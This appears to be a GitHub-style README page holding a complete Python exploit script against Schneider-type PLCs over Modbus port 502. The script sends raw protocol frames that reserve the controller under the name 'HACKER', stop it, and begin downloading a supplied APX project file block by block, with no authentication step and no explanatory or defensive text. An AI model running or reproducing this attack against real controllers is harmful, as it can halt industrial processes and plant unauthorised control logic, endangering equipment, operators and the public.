README.md
Rendering markdown...
#!/usr/bin/env python3
__author__ = "Yanis Wang"
__email__ = "[email protected]"
import argparse
import socket
def exploit(host: str, port: int, filename: str):
print("[*] Loading APX file")
with open(filename, "rb") as f:
apx_content = f.read()
block_length = 0x03f4
blocks = [apx_content[i:i + block_length] for i in range(0, len(apx_content), block_length)]
print("[+] File loaded")
print("[*] Connecting to target")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
print("[+] Connection established")
print("[*] Reserving PLC")
data = b"\xff\xff\x00\x00\x00\x0f\x01\x5a\x00\x10\xda\x79\x00\x00\x06HACKER"
sock.send(data)
response = sock.recv(1024)
if response[9] != 0xfe:
print("[-] Failed to reserve PLC")
exit(-1)
session_key = response[10].to_bytes(1, "little")
print("[+] PLC reserved")
print("[*] Stopping PLC")
data = b"\xff\xff\x00\x00\x00\x06\x01\x5a" + session_key + b"\x41\xff\x00"
sock.send(data)
response = sock.recv(1024)
if response[9] != 0xfe:
print("[-] Failed to stop PLC")
exit(-1)
print("[+] PLC stopped")
print("[*] Initializing download")
data = b"\xff\xff\x00\x00\x00\x06\x01\x5a" + session_key + b"\x30\x00\x01"
sock.send(data)
response = sock.recv(1024)
if response[9] != 0xfe:
print("[-] Failed to initialize download")
exit(-1)
print("[*] Downloading first block")
block = blocks[0]
block_size = len(block).to_bytes(2, "little")
length = (len(block) + 10).to_bytes(2, "little")
data = b"\xff\xff\x00\x00" + length + b"\x01\x5a" + session_key + b"\x31\x00\x01\x01\x00" + block_size + block
sock.send(data)
response = sock.recv(1024)
if response[9] != 0xfe:
print("[-] Failed to download first block")
exit(-1)
print("[+] Done")
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--host", required=True, type=str, default=None, help="Target address")
parser.add_argument("--port", required=False, type=int, default=502, help="Target port")
parser.add_argument("--filename", required=False, type=str, default="PLC.apx", help="APX file")
args = parser.parse_args()
exploit(args.host, args.port, args.filename)
if __name__ == "__main__":
main()